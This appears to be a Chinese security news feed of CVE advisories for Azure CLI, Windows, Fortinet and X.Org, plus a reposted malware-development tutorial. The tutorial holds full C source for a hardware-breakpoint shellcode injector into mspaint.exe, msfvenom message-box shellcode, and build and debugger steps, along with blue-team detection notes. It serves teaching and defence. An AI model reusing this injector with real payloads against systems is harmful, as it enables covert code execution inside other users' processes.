# CVE-2026-109457 - Azure CLI Remote Code Execution Vulnerability Improper neutralization of special elements used in an os command ('os command injection') in Azure CLI allows an authorized attacker to execute code over a network. CWE: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

rce命令注入云cve @msrc 原文 ↗

图形内核是浏览器沙箱逃逸的高价值目标,竞态条件利于提升利用稳定性。

# CVE-2026-94519 - Windows Graphics Kernel Elevation of Privilege Vulnerability Use after free in Windows Graphics Kernel allows an authorized attacker to elevate privileges locally. CWE: CWE-416: Use After Free, CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

lpeuaf内核竞态 @msrc 原文 ↗

GDI 长期是沙箱逃逸与提权链的常用组件,整数溢出常伴可控堆布局。

# CVE-2026-94527 - Windows GDI Elevation of Privilege Vulnerability Heap-based buffer overflow in Windows GDI allows an authorized attacker to elevate privileges locally. CWE: CWE-122: Heap-based Buffer Overflow, CWE-190: Integer Overflow or Wraparound

lpe堆溢出gdi @msrc 原文 ↗

认证绕过会冲击 SSO 信任链,前置条件是上游 IdP 恶意或配置可被利用。

PSIRT Improper neutralization of special elements used in an ldap query Summary An Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')[CWE-90] in FortiAuthenticator may allow an authenticated attacker to bypass authentication. Successful exploitation requires either a malicious/compromised upstream IdP, or an IdP configuration that allows the user to control the NameID (or the SAML attribute used as the username). Version Affected Solution FortiAuthenticator 8.0 8.0.0 through 8.0.3 Upgrade to 8.0.4 or above FortiAuthenticator 6.6 6.6.0 through 6.6.10 Upgrade to 6.6.11 or above Acknowledgement Internally discovered and reported by Gwendal Guegniaud of the Fortinet Product Security team with the use of the frontier AI model: Claude Mythos. Virtual Patch No Timeline 2026-11-10: Initial publication IR Number FG-IR-26-255 Published Date Nov 10, 2026 Component API Severity High Discovered Internal Attack Type Authenticated Known Exploited No CVSSv3 Score 8.2 CVSSv3 Temporal Score 7.8 Impact Escalation of privilege CVE ID CVE-2026-126240 Download CVRF CSAF

ldap注入认证绕过fortiauthenticator @forti-ir 原文 ↗

同时含提权、授权绕过与冒充内部服务三条链,已认证管理员即可横向扩大控制面。

PSIRT Incorrect authorization Summary An Incorrect Authorization vulnerability [CWE-863], an Improper Privilege Management vulnerability [CWE-269] and an Authentication Bypass by Spoofing vulnerability [CWE-290] in FortiManager, FortiManager Cloud, FortiAnalyzer, FortiAnalyzer Cloud, and FortiAnalyzer-BigData may allow an authenticated administrator to escalate their privileges, bypass authorization controls or impersonate internal services via specially crafted requests to the GUI. Version Affected Solution FortiAnalyzer 8.0 8.0.0 through 8.0.1 Upgrade to 8.0.2 or above FortiAnalyzer 7.6 7.6.0 through 7.6.7 Upgrade to 7.6.8 or above FortiAnalyzer 7.4 7.4.0 through 7.4.11 Upgrade to 7.4.12 or above FortiAnalyzer 7.2 7.2.0 through 7.2.12 Upgrade to 7.2.13 or above FortiAnalyzer Cloud 8.0 8.0.0 through 8.0.1 Upgrade to 8.0.2 or above FortiAnalyzer Cloud 7.6 7.6.0 through 7.6.7 Upgrade to 7.6.8 or above FortiAnalyzer Cloud 7.4 7.4.1 through 7.4.11 Upgrade to 7.4.12 or above FortiAnalyzer Cloud 7.2 7.2.1 through 7.2.12 Upgrade to 7.2.13 or above FortiManager 8.0 8.0.0 through 8.0.1 Upgrade to 8.0.2 or above FortiManager 7.6 7.6.0 through 7.6.7 Upgrade to 7.6.8 or above FortiManager 7.4 7.4.0 through 7.4.11 Upgrade to 7.4.12 or above FortiManager 7.2 7.2.0 through 7.2.12 Upgrade to 7.2.13 or above FortiManager Cloud 8.0 8.0.0 through 8.0.1 Upgrade to 8.0.2 or above FortiManager Cloud 7.6 7.6.0 through 7.6.7 Upgrade to 7.6.8 or above FortiManager Cloud 7.4 7.4.1 through 7.4.11 Upgrade to 7.4.12 or above FortiManager Cloud 7.2 7.2.1 through 7.2.12 Upgrade to 7.2.13 or above FortiSASE-Sovereign 26.2 26.2 all versions Fortinet remediated this issue in 26.2 (not released) and hence customers do not need to perform any action. FortiSASE-Sovereign 25.4 25.4 all versions Migrate to a fixed release FortiSASE-Sovereign 25.3 25.3 all versions Migrate to a fixed release FortiSASE-Sovereign 25 25 all versions Migrate to a fixed release Acknowledgement Internally discovered and reported by Loic Pantano of the Fortinet Product Security team with the use of the frontier AI model: Claude Mythos. Virtual Patch No Timeline 2026-11-10: Initial publication IR Number FG-IR-26-234 Published Date Nov 10, 2026 Component GUI Severity High Discovered Internal Attack Type Authenticated Known Exploited No CVSSv3 Score 8.7 Impact Denial of service CVE ID CVE-2026-126214 CVE-2026-126215 CVE-2026-126216 CVE-2026-126217 Download CVRF CSAF

提权授权绕过cve @forti-ir 原文 ↗

管理平面自身可被注入系统命令,跨 FortiManager/FortiAnalyzer/云版同一缺陷。

PSIRT Improper neutralization of special elements used in an os command in GUI Summary An Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability [cwe-78] in FortiManager, FortiAnalyzer, FortiManager Cloud, FortiAnalyzer Cloud, FortiSASE-Sovereign GUI may allow an authenticated attacker to execute unauthorized code or commands via specially crafted HTTP requests Version Affected Solution FortiAnalyzer 8.0 8.0.0 through 8.0.1 Upgrade to 8.0.2 or above FortiAnalyzer 7.6 7.6.0 through 7.6.7 Upgrade to 7.6.8 or above FortiAnalyzer 7.4 7.4.0 through 7.4.11 Upgrade to 7.4.12 or above FortiAnalyzer 7.2 7.2.0 through 7.2.12 Upgrade to 7.2.13 or above FortiAnalyzer Cloud 8.0 8.0.1 Upgrade to 8.0.2 or above FortiAnalyzer Cloud 7.6 7.6.0 through 7.6.7 Upgrade to 7.6.8 or above FortiAnalyzer Cloud 7.4 7.4.1 through 7.4.11 Upgrade to 7.4.12 or above FortiAnalyzer Cloud 7.2 7.2.1 through 7.2.12 Upgrade to 7.2.13 or above FortiManager 8.0 8.0.0 through 8.0.1 Upgrade to 8.0.2 or above FortiManager 7.6 7.6.0 through 7.6.7 Upgrade to 7.6.8 or above FortiManager 7.4 7.4.0 through 7.4.11 Upgrade to 7.4.12 or above FortiManager 7.2 7.2.0 through 7.2.12 Upgrade to 7.2.13 or above FortiManager Cloud 8.0 8.0.1 Upgrade to 8.0.2 or above FortiManager Cloud 7.6 7.6.0 through 7.6.7 Upgrade to 7.6.8 or above FortiManager Cloud 7.4 7.4.1 through 7.4.11 Upgrade to 7.4.12 or above FortiManager Cloud 7.2 7.2.1 through 7.2.12 Upgrade to 7.2.13 or above FortiSASE-Sovereign 26.2 26.2 all versions Fortinet remediated this issue in 26.2 (not released) and hence customers do not need to perform any action. FortiSASE-Sovereign 25.4 25.4 all versions Migrate to a fixed release FortiSASE-Sovereign 25.3 25.3 all versions Migrate to a fixed release FortiSASE-Sovereign 25 25 all versions Migrate to a fixed release The vulnerability can be exploited via the JSON API if enabled (Disabled by default) If enabled on a profile, it can be disabled it via the following configuration to reduce the attack surface: config system admin profile edit <profile name> set rpc-permit none end Acknowledgement Internally discovered and reported by David Maciejak, Loic Pantano of the Fortinet Product Security team with the use of the frontier AI model: Claude Mythos. Virtual Patch No Timeline 2026-11-10: Initial publication IR Number FG-IR-26-251 Published Date Nov 10, 2026 Component API Severity High Discovered Internal Attack Type Authenticated Known Exploited No CVSSv3 Score 7.2 Impact Execute unauthorized code or commands CVE ID CVE-2026-126236 Download CVRF CSAF

命令注入rcecve @forti-ir 原文 ↗

基于调试寄存器的线程劫持可绕开常规 API 监控,附带完整可复现代码。

﷽ Hello, cybersecurity enthusiasts and white hackers! In the previous trick 69 , we loaded a COFF object and observed how its sections and imports become executable code. Today I want to demonstrate a different malware development for Windows mechanism: use a hardware execution breakpoint to redirect a thread in a running mspaint.exe process to our Meow-meow! shellcode payload. This trick uses the Windows debugging API. The injector attaches to the selected Paint process, places the payload in a private memory region, and uses a hardware breakpoint plus a thread-context update to transfer control. It does not overwrite Paint’s image code. The payload displays a message box and exits the thread after the dialog closes. a few words before we start In trick 63 , I changed PE version metadata and an icon. This post covers a separate execution technique: a hardware breakpoint in a target thread. A hardware breakpoint is configured in the thread’s debug registers. On x64, DR0 stores the watched instruction address and DR7 enables the breakpoint. When the thread reaches that address, Windows reports a single-step exception. Because our injector is attached as a debugger, it receives the debug event and can inspect or change the stopped thread’s context. The steps are: open the running mspaint.exe process and allocate memory for the payload. copy the shellcode into a writable page, then change it to execute/read. attach with DebugActiveProcess and wait for the initial breakpoint. set DR0 to the stopped thread’s current instruction and enable the local execution breakpoint in DR7 . when the single-step event arrives, redirect RIP to the payload and clear the breakpoint. The relevant Windows APIs are documented in DebugActiveProcess , WaitForDebugEvent , SetThreadContext , and ContinueDebugEvent . The program also disables the default kill-on-debugger-exit behavior so an unexpected injector exit does not intentionally terminate Paint; see DebugSetProcessKillOnExit . practical example First, I use a MessageBox payload generated for x64 Windows. The EXITFUNC=thread option makes the payload exit the thread that runs it after the user closes the dialog: msfvenom -p windows/x64/messagebox TEXT = 'Meow-meow!' TITLE = '=^..^=' EXITFUNC = thread -f c The resulting bytes are embedded in the complete source below. The payload does not start a shell or child process, open a network connection, or create persistence. Before setting a breakpoint, the injector allocates memory in the target process and writes the payload. The page changes from writable to execute/read: remote_payload = VirtualAllocEx ( process , NULL , payload_size , MEM_RESERVE | MEM_COMMIT , PAGE_READWRITE ); WriteProcessMemory ( process , remote_payload , payload , payload_size , & bytes_written ); VirtualProtectEx ( process , remote_payload , payload_size , PAGE_EXECUTE_READ , & old_protection ); FlushInstructionCache ( process , remote_payload , payload_size ); The program checks the target image name and rejects a non-x64 process before doing this. The target is selected by PID so I can start Paint normally and choose the exact process shown in Task Manager or Process Hacker 2. When the debugger reports the initial breakpoint, the target thread is stopped. We save its original DR0 and DR7 , set DR0 to the current RIP , and enable the local execute breakpoint: breakpoint_address = context . Rip ; saved_dr0 = context . Dr0 ; saved_dr7 = context . Dr7 ; context . Dr0 = breakpoint_address ; context . Dr6 &= ~ (( DWORD64 ) 1 ); context . Dr7 &= ~ (( DWORD64 ) 0x3 | (( DWORD64 ) 0xF << 16 )); context . Dr7 |= 1 ; SetThreadContext ( thread , & context ); The bit in DR7 enables a local breakpoint for DR0 ; clearing the associated type and length bits selects an instruction-execution breakpoint. The thread resumes. When the CPU reports EXCEPTION_SINGLE_STEP , the injector verifies both the DR6 status bit and the expected instruction address. At that event, the code restores the previous breakpoint settings and changes RIP to the remote payload: if (( context . Dr6 & 1 ) && context . Rip == breakpoint_address ) { context . Dr0 = saved_dr0 ; context . Dr6 &= ~ (( DWORD64 ) 1 ); context . Dr7 = saved_dr7 ; context . Rip = ( DWORD64 )( ULONG_PTR ) remote_payload ; SetThreadContext ( thread , & context ); } The debugger then continues the event. Windows resumes the target thread at the payload address, and the shellcode displays the dialog from inside mspaint.exe . After the dialog closes, the payload exits that thread. Whether Paint remains open depends on which thread receives the attach breakpoint and on the Paint build. For this demo, the proof is that the Meow-meow! dialog runs in the target process; the payload intentionally ends its thread afterward. Now the complete source code looks like this ( hack.c ): /* * hack.c - hardware-breakpoint shellcode injection * trick for mspaint.exe * author: @cocomelonc */ #include <windows.h> #include <stdio.h> #include <stdlib.h> #include <wchar.h> #ifndef _WIN64 #error Build this example for Windows x64. #endif static const unsigned char payload [] = { 0xfc , 0x48 , 0x81 , 0xe4 , 0xf0 , 0xff , 0xff , 0xff , 0xe8 , 0xcc , 0x00 , 0x00 , 0x00 , 0x41 , 0x51 , 0x41 , 0x50 , 0x52 , 0x51 , 0x48 , 0x31 , 0xd2 , 0x56 , 0x65 , 0x48 , 0x8b , 0x52 , 0x60 , 0x48 , 0x8b , 0x52 , 0x18 , 0x48 , 0x8b , 0x52 , 0x20 , 0x41 , 0xb9 , 0x7a , 0xb1 , 0x98 , 0xf6 , 0x48 , 0x0f , 0xb7 , 0x4a , 0x48 , 0x48 , 0x8b , 0x72 , 0x50 , 0x48 , 0x31 , 0xc0 , 0xac , 0x3c , 0x61 , 0x7c , 0x02 , 0x2c , 0x20 , 0x41 , 0xc1 , 0xc9 , 0x0d , 0x41 , 0x01 , 0xc1 , 0xe2 , 0xed , 0x52 , 0x41 , 0x51 , 0x48 , 0x8b , 0x52 , 0x20 , 0x8b , 0x42 , 0x3c , 0x48 , 0x01 , 0xd0 , 0x66 , 0x81 , 0x78 , 0x18 , 0x0b , 0x02 , 0x0f , 0x85 , 0x6f , 0x00 , 0x00 , 0x00 , 0x8b , 0x80 , 0x88 , 0x00 , 0x00 , 0x00 , 0x48 , 0x85 , 0xc0 , 0x74 , 0x64 , 0x48 , 0x01 , 0xd0 , 0x50 , 0x8b , 0x48 , 0x18 , 0x44 , 0x8b , 0x40 , 0x20 , 0x49 , 0x01 , 0xd0 , 0xe3 , 0x53 , 0x44 , 0x8b , 0x4c , 0x24 , 0x08 , 0x48 , 0xff , 0xc9 , 0x41 , 0x8b , 0x34 , 0x88 , 0x48 , 0x01 , 0xd6 , 0x48 , 0x31 , 0xc0 , 0xac , 0x41 , 0xc1 , 0xc9 , 0x0d , 0x41 , 0x01 , 0xc1 , 0x38 , 0xe0 , 0x75 , 0xf1 , 0x45 , 0x39 , 0xd1 , 0x75 , 0xdb , 0x58 , 0x44 , 0x8b , 0x40 , 0x24 , 0x49 , 0x01 , 0xd0 , 0x66 , 0x41 , 0x8b , 0x0c , 0x48 , 0x44 , 0x8b , 0x40 , 0x1c , 0x49 , 0x01 , 0xd0 , 0x41 , 0x8b , 0x04 , 0x88 , 0x48 , 0x01 , 0xd0 , 0x41 , 0x58 , 0x41 , 0x58 , 0x5e , 0x59 , 0x5a , 0x41 , 0x58 , 0x41 , 0x59 , 0x41 , 0x5a , 0x48 , 0x83 , 0xec , 0x20 , 0x41 , 0x52 , 0xff , 0xe0 , 0x58 , 0x41 , 0x59 , 0x5a , 0x48 , 0x8b , 0x12 , 0xe9 , 0x4b , 0xff , 0xff , 0xff , 0x5d , 0xe8 , 0x0b , 0x00 , 0x00 , 0x00 , 0x75 , 0x73 , 0x65 , 0x72 , 0x33 , 0x32 , 0x2e , 0x64 , 0x6c , 0x6c , 0x00 , 0x59 , 0x41 , 0xba , 0x8e , 0xde , 0x78 , 0x1d , 0xff , 0xd5 , 0x49 , 0xc7 , 0xc1 , 0x00 , 0x00 , 0x00 , 0x00 , 0xe8 , 0x0b , 0x00 , 0x00 , 0x00 , 0x4d , 0x65 , 0x6f , 0x77 , 0x2d , 0x6d , 0x65 , 0x6f , 0x77 , 0x21 , 0x00 , 0x5a , 0xe8 , 0x07 , 0x00 , 0x00 , 0x00 , 0x3d , 0x5e , 0x2e , 0x2e , 0x5e , 0x3d , 0x00 , 0x41 , 0x58 , 0x48 , 0x31 , 0xc9 , 0x41 , 0xba , 0x1e , 0xbc , 0x62 , 0x48 , 0xff , 0xd5 , 0xbb , 0xfe , 0x0c , 0x1f , 0xe6 , 0x41 , 0xba , 0xc4 , 0x84 , 0xb2 , 0x79 , 0xff , 0xd5 , 0x48 , 0x83 , 0xc4 , 0x28 , 0x3c , 0x06 , 0x7c , 0x0a , 0x80 , 0xfb , 0xe0 , 0x75 , 0x05 , 0xbb , 0xfb , 0xe9 , 0x3e , 0xd3 , 0x6a , 0x00 , 0x59 , 0x41 , 0x89 , 0xda , 0xff , 0xd5 , }; int main ( int argc , char ** argv ) { char * end = NULL ; unsigned long value ; DWORD pid ; HANDLE process = NULL ; LPVOID remote_payload = NULL ; SIZE_T payload_size = sizeof ( payload ); SIZE_T bytes_written = 0 ; DWORD old_protection = 0 ; WCHAR image_path [ MAX_PATH ]; DWORD image_path_size = MAX_PATH ; BOOL wow64 = FALSE ; BOOL attached = FALSE ; BOOL armed = FALSE ; BOOL redirected = FALSE ; BOOL stop = FALSE ; BOOL success = FALSE ; DWORD breakpoint_thread_id = 0 ; DWORD64 breakpoint_address = 0 ; DWORD64 saved_dr0 = 0 ; DWORD64 saved_dr7 = 0 ; if ( argc != 2 ) { fprintf ( stderr , "usage: %s <mspaint-pid> \n " , argv [ 0 ]); return 1 ; } value = strtoul ( argv [ 1 ], & end , 10 ); if ( ! argv [ 1 ][ 0 ] || ! end || * end || value == 0 || value > MAXDWORD ) { fprintf ( stderr , "invalid PID \n " ); return 1 ; } pid = ( DWORD ) value ; process = OpenProcess ( PROCESS_QUERY_INFORMATION | PROCESS_QUERY_LIMITED_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ , FALSE , pid ); if ( ! process ) { printf ( "OpenProcess failed: %lu \n " , GetLastError ()); return 1 ; } if ( ! QueryFullProcessImageNameW ( process , 0 , image_path , & image_path_size )) { printf ( "QueryFullProcessImageNameW failed: %lu \n " , GetLastError ()); CloseHandle ( process ); return 1 ; } WCHAR * base_name = wcsrchr ( image_path , L'\\' ); base_name = base_name ? base_name + 1 : image_path ; if ( _wcsicmp ( base_name , L"mspaint.exe" ) != 0 ) { wprintf ( L"refusing target: %ls \n " , image_path ); CloseHandle ( process ); return 1 ; } if ( ! IsWow64Process ( process , & wow64 ) || wow64 ) { printf ( "target must be a native x64 process \n " ); CloseHandle ( process ); return 1 ; } remote_payload = VirtualAllocEx ( process , NULL , payload_size , MEM_RESERVE | MEM_COMMIT , PAGE_READWRITE ); if ( ! remote_payload ) { printf ( "VirtualAllocEx failed: %lu \n " , GetLastError ()); CloseHandle ( process ); return 1 ; } if ( ! WriteProcessMemory ( process , remote_payload , payload , payload_size , & bytes_written ) || bytes_written != payload_size ) { printf ( "WriteProcessMemory failed: %lu \n " , GetLastError ()); VirtualFreeEx ( process , remote_payload , 0 , MEM_RELEASE ); CloseHandle ( process ); return 1 ; } if ( ! VirtualProtectEx ( process , remote_payload , payload_size , PAGE_EXECUTE_READ , & old_protection )) { printf ( "VirtualProtectEx failed: %lu \n " , GetLastError ()); VirtualFreeEx ( process , remote_payload , 0 , MEM_RELEASE ); CloseHandle ( process ); return 1 ; } if ( ! FlushInstructionCache ( process , remote_payload , payload_size )) { printf ( "FlushInstructionCache failed: %lu \n " , GetLastError ()); VirtualFreeEx ( process , remote_payload , 0 , MEM_RELEASE ); CloseHandle ( process ); return 1 ; } if ( ! DebugActiveProcess ( pid )) { printf ( "DebugActiveProcess failed: %lu \n " , GetLastError ()); VirtualFreeEx ( process , remote_payload , 0 , MEM_RELEASE ); CloseHandle ( process ); return 1 ; } attached = TRUE ; if ( ! DebugSetProcessKillOnExit ( FALSE )) { printf ( "DebugSetProcessKillOnExit failed: %lu \n " , GetLastError ()); DebugActiveProcessStop ( pid ); VirtualFreeEx ( process , remote_payload , 0 , MEM_RELEASE ); CloseHandle ( process ); return 1 ; } wprintf ( L"[main] attached to %ls (PID %lu) \n " , image_path , pid ); puts ( "[main] waiting for the attach breakpoint" ); while ( ! stop ) { DEBUG_EVENT event ; DWORD continuation = DBG_CONTINUE ; if ( ! WaitForDebugEvent ( & event , INFINITE )) { printf ( "WaitForDebugEvent failed: %lu \n " , GetLastError ()); break ; } switch ( event . dwDebugEventCode ) { case CREATE_PROCESS_DEBUG_EVENT : if ( event . u . CreateProcessInfo . hFile ) CloseHandle ( event . u . CreateProcessInfo . hFile ); if ( event . u . CreateProcessInfo . hThread ) CloseHandle ( event . u . CreateProcessInfo . hThread ); if ( event . u . CreateProcessInfo . hProcess ) CloseHandle ( event . u . CreateProcessInfo . hProcess ); break ; case CREATE_THREAD_DEBUG_EVENT : if ( event . u . CreateThread . hThread ) CloseHandle ( event . u . CreateThread . hThread ); break ; case LOAD_DLL_DEBUG_EVENT : if ( event . u . LoadDll . hFile ) CloseHandle ( event . u . LoadDll . hFile ); break ; case EXCEPTION_DEBUG_EVENT : { DWORD code = event . u . Exception . ExceptionRecord . ExceptionCode ; HANDLE thread = OpenThread ( THREAD_GET_CONTEXT | THREAD_SET_CONTEXT | THREAD_QUERY_INFORMATION , FALSE , event . dwThreadId ); if ( code == EXCEPTION_BREAKPOINT && ! armed ) { CONTEXT context ; if ( ! thread ) { printf ( "OpenThread failed: %lu \n " , GetLastError ()); stop = TRUE ; } else { ZeroMemory ( & context , sizeof ( context )); context . ContextFlags = CONTEXT_CONTROL | CONTEXT_DEBUG_REGISTERS ; if ( ! GetThreadContext ( thread , & context )) { printf ( "GetThreadContext failed: %lu \n " , GetLastError ()); stop = TRUE ; } else { breakpoint_thread_id = event . dwThreadId ; breakpoint_address = context . Rip ; saved_dr0 = context . Dr0 ; saved_dr7 = context . Dr7 ; context . Dr0 = breakpoint_address ; context . Dr6 &= ~ (( DWORD64 ) 1 ); context . Dr7 &= ~ (( DWORD64 ) 0x3 | (( DWORD64 ) 0xF << 16 )); context . Dr7 |= 1 ; if ( ! SetThreadContext ( thread , & context )) { printf ( "SetThreadContext failed: %lu \n " , GetLastError ()); stop = TRUE ; } else { armed = TRUE ; printf ( "[main] DR0 armed at 0x%llx on TID %lu \n " , ( unsigned long ) breakpoint_address , breakpoint_thread_id ); } continuation = DBG_CONTINUE ; } else if ( code == EXCEPTION_SINGLE_STEP && armed && ! redirected && event . dwThreadId == breakpoint_thread_id ) { CONTEXT context ; if ( ! thread ) { printf ( "OpenThread failed: %lu \n " , GetLastError ()); stop = TRUE ; continuation = DBG_EXCEPTION_NOT_HANDLED ; } else { ZeroMemory ( & context , sizeof ( context )); context . ContextFlags = CONTEXT_CONTROL | CONTEXT_DEBUG_REGISTERS ; if ( ! GetThreadContext ( thread , & context )) { printf ( "GetThreadContext failed: %lu \n " , GetLastError ()); stop = TRUE ; continuation = DBG_EXCEPTION_NOT_HANDLED ; } else if (( context . Dr6 & 1 ) && context . Rip == breakpoint_address ) { context . Dr0 = saved_dr0 ; context . Dr6 &= ~ (( DWORD64 ) 1 ); context . Dr7 = saved_dr7 ; context . Rip = ( DWORD64 )( ULONG_PTR ) remote_payload ; if ( ! SetThreadContext ( thread , & context )) { printf ( "SetThreadContext failed: %lu \n " , GetLastError ()); stop = TRUE ; continuation = DBG_EXCEPTION_NOT_HANDLED ; } else { redirected = TRUE ; puts ( "[main] hardware breakpoint hit; redirected RIP to the payload" ); continuation = DBG_CONTINUE ; } else { continuation = DBG_EXCEPTION_NOT_HANDLED ; } else if ( code == EXCEPTION_BREAKPOINT ) { continuation = DBG_CONTINUE ; } else { continuation = DBG_EXCEPTION_NOT_HANDLED ; } if ( thread ) CloseHandle ( thread ); break ; } case EXIT_THREAD_DEBUG_EVENT : if ( redirected && event . dwThreadId == breakpoint_thread_id ) { puts ( "[main] payload thread exited after the Meow-meow dialog" ); success = TRUE ; stop = TRUE ; } break ; case EXIT_PROCESS_DEBUG_EVENT : if ( redirected ) success = TRUE ; printf ( "[main] target process exited with code %lu \n " , event . u . ExitProcess . dwExitCode ); stop = TRUE ; break ; default: break ; } if ( ! ContinueDebugEvent ( event . dwProcessId , event . dwThreadId , continuation )) { printf ( "ContinueDebugEvent failed: %lu \n " , GetLastError ()); break ; } if ( attached ) DebugActiveProcessStop ( pid ); if ( remote_payload && ( ! redirected || success )) VirtualFreeEx ( process , remote_payload , 0 , MEM_RELEASE ); CloseHandle ( process ); return success ? 0 : 1 ; } demo First of all, compile our injector PoC from an x64 MinGW-w64 environment: x86_64-w64-mingw32-gcc -O2 hack.c -o hack.exe -I /usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc ++ -static-libgcc On the “victim’s” VM machine, start Paint ( mspaint.exe ) normally. So, in Process Hacker 2, note the PID for the actual mspaint.exe process. Run it with the Paint PID: . \hack.exe 8980 The expected sequence in the injector console is: Let’s check memory of our mspaint.exe via Process Hackers 2: This build is x64-only and refuses a target whose image name is not mspaint.exe . The injector needs permission to debug that process; if Windows denies the attach, run it with the same account and elevation level as Paint. On Windows versions where Paint is packaged, select the real running mspaint.exe PID in Process Hacker 2 rather than assuming the System32 app-launch alias is the process that owns the window. Let’s check via x64dbg debugger. To capture the context change, start hack.exe in x64dbg with the PID of the already running x64 Paint process (replace 8980 with its current PID): init "Z: \h ack.exe" , "7016" , "Z: \" At the initial system breakpoint, set the API breakpoint on the resolved SetThreadContext implementation (usually KERNELBASE.SetThreadContext ): bp KERNELBASE.SetThreadContext Press F9 . It should trigger twice. At each hit, RDX points to the injector’s local CONTEXT structure. To show the fields as values, enter these commands at the first hit: mov xctx, rdx AddWatch "qword:[xctx+48]" AddWatch "qword:[xctx+F8]" AddWatch "qword:[xctx+70]&1" The three watches show Dr0 , Rip , and Dr7 & 1 respectively; on x64 their offsets are 0x48 , 0xF8 , and 0x70 . Dr0 and Rip should display the same address, and Dr7 & 1 should display 1 . At the second hit, enter mov xctx, rdx again to point the watches at the new CONTEXT . Its Rip is an address in Paint, so do not try to dereference it in the injector’s Dump view. At the first hit, capture Dr0 matching Rip and bit 0 set in Dr7 . Resume to the second hit and capture the new Rip , which is the remote payload address, together with the restored Dr0 and Dr7 . Continue execution; the Meow-meow! dialog in the demo above confirms the visible result. Update (replace mspaint.exe to explorer.exe ) and upload this compiled sample to ANY.RUN sandbox: https://app.any.run/tasks/35f88638-9458-423f-80ef-901897e7f55e Verdict: suspicious activity . blue-team notes This is not an invisible execution path. The injector attaches as a debugger, writes bytes into another process, changes a private page from writable to executable, modifies a thread’s debug registers, and changes its instruction pointer. Those actions provide useful behavioral evidence even though the payload itself only opens a message box. The hardware breakpoint avoids overwriting instructions in Paint’s image mapping. It does not avoid remote memory allocation or the context change, and it does not make a private executable page benign. A debugger attachment or an executable private page alone is not a malware verdict; correlate the process relationship, memory operations, thread context, payload contents, and user activity. This trick demonstrates the control-flow mechanism in a real Windows process, not a stealth guarantee or a general-purpose injection framework. Related hardware-breakpoint behavior has also been documented in Turla’s Kazuar v3 loader: the technical analysis describes DR0 / DR1 breakpoints on NtTraceControl and AmsiScanBuffer , handled through an exception handler to interfere with ETW and AMSI. That report describes in-process API interception, not this PoC’s debugger-assisted redirection of a Paint thread into a remote payload; the shared element is the use of CPU debug registers. Technical analysis of Turla’s Kazuar v3 loader . Elastic’s analysis of the PHANTOMPULSE RAT also describes a related Debug API state machine using a DR0 breakpoint and RIP redirection, with a different multi-stage section-mapping flow ( report ). conclusion This PoC shows how a hardware execution breakpoint can redirect a stopped thread into a private payload without patching Paint’s image code. Turla’s reported Kazuar v3 loader uses the same processor feature for a different purpose, so defenders should correlate debug-register changes with thread-context updates and executable private memory. I hope this post is useful for malware researchers, C programmers, spreads awareness to the blue teamers of this interesting technique, and adds a weapon to the red teamers arsenal. Thanks to ANY.RUN for API! Microsoft: PE format DebugActiveProcess DebugSetProcessKillOnExit WaitForDebugEvent Turla’s Kazuar v3 loader PHANTOMPULSE source code in github This is a practical case for educational purposes only. Thanks for your time happy hacking and good bye! PS. All drawings and screenshots are mine

注入windows工具议题 @cocomelonc 原文 ↗
更多119

在 CVSS 7.8 的本地提权路径中,无需用户交互即可触发,是桌面环境的常见利用点。

X.Org Server Font Alias Resolution Heap-based Buffer Overflow Privilege Escalation Vulnerability November 10th, 2026 ZDI-26-903 ZDI-CAN-30444 CVE ID CVE-2026-50256 CVSS Score 7.8 AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H Affected Vendors X.Org Affected Products Server Vulnerability Details This vulnerability allows local attackers to escalate privileges on affected installations of X.Org Server. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. The specific flaw exists within the doListFontsWithInfo function. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a heap-based buffer. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of root. Additional Details X.Org has issued an update to correct this vulnerability. More details can be found at: https://gitlab.freedesktop.org/xorg/xserver/-/commit/bb5158f962dc935e58ef8b4b5fcb31be201a6e07 Disclosure Timeline 2026-05-29 - Vulnerability reported to vendor 2026-11-10 - Coordinated public release of advisory 2026-11-10 - Advisory Updated Credit Anonymous Back to Advisories

lpex11cve @zdi-advisories 原文 ↗

与同批 X.Org 本地提权漏洞属于同一类问题,可一并排查键盘处理路径。

X.Org Server XkbResizeKeySyms Integer Overflow Privilege Escalation Vulnerability November 10th, 2026 ZDI-26-902 ZDI-CAN-30443 CVE ID CVE-2026-50258 CVSS Score 7.8 AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H Affected Vendors X.Org Affected Products Server Vulnerability Details This vulnerability allows local attackers to escalate privileges on affected installations of X.Org Server. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. The specific flaw exists within the XkbResizeKeySyms function. The issue results from the lack of proper validation of user-supplied data, which can result in an integer overflow before allocating a buffer. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of root. Additional Details X.Org has issued an update to correct this vulnerability. More details can be found at: https://gitlab.freedesktop.org/xorg/xserver/-/commit/543e108516428fc8c3bea91d6563ad266f9a801e Disclosure Timeline 2026-05-29 - Vulnerability reported to vendor 2026-11-10 - Coordinated public release of advisory 2026-11-10 - Advisory Updated Credit Anonymous Back to Advisories

lpex11cve @zdi-advisories 原文 ↗

DRI2 路径同样存在本地提权问题,多实例化服务器环境下影响面扩大。

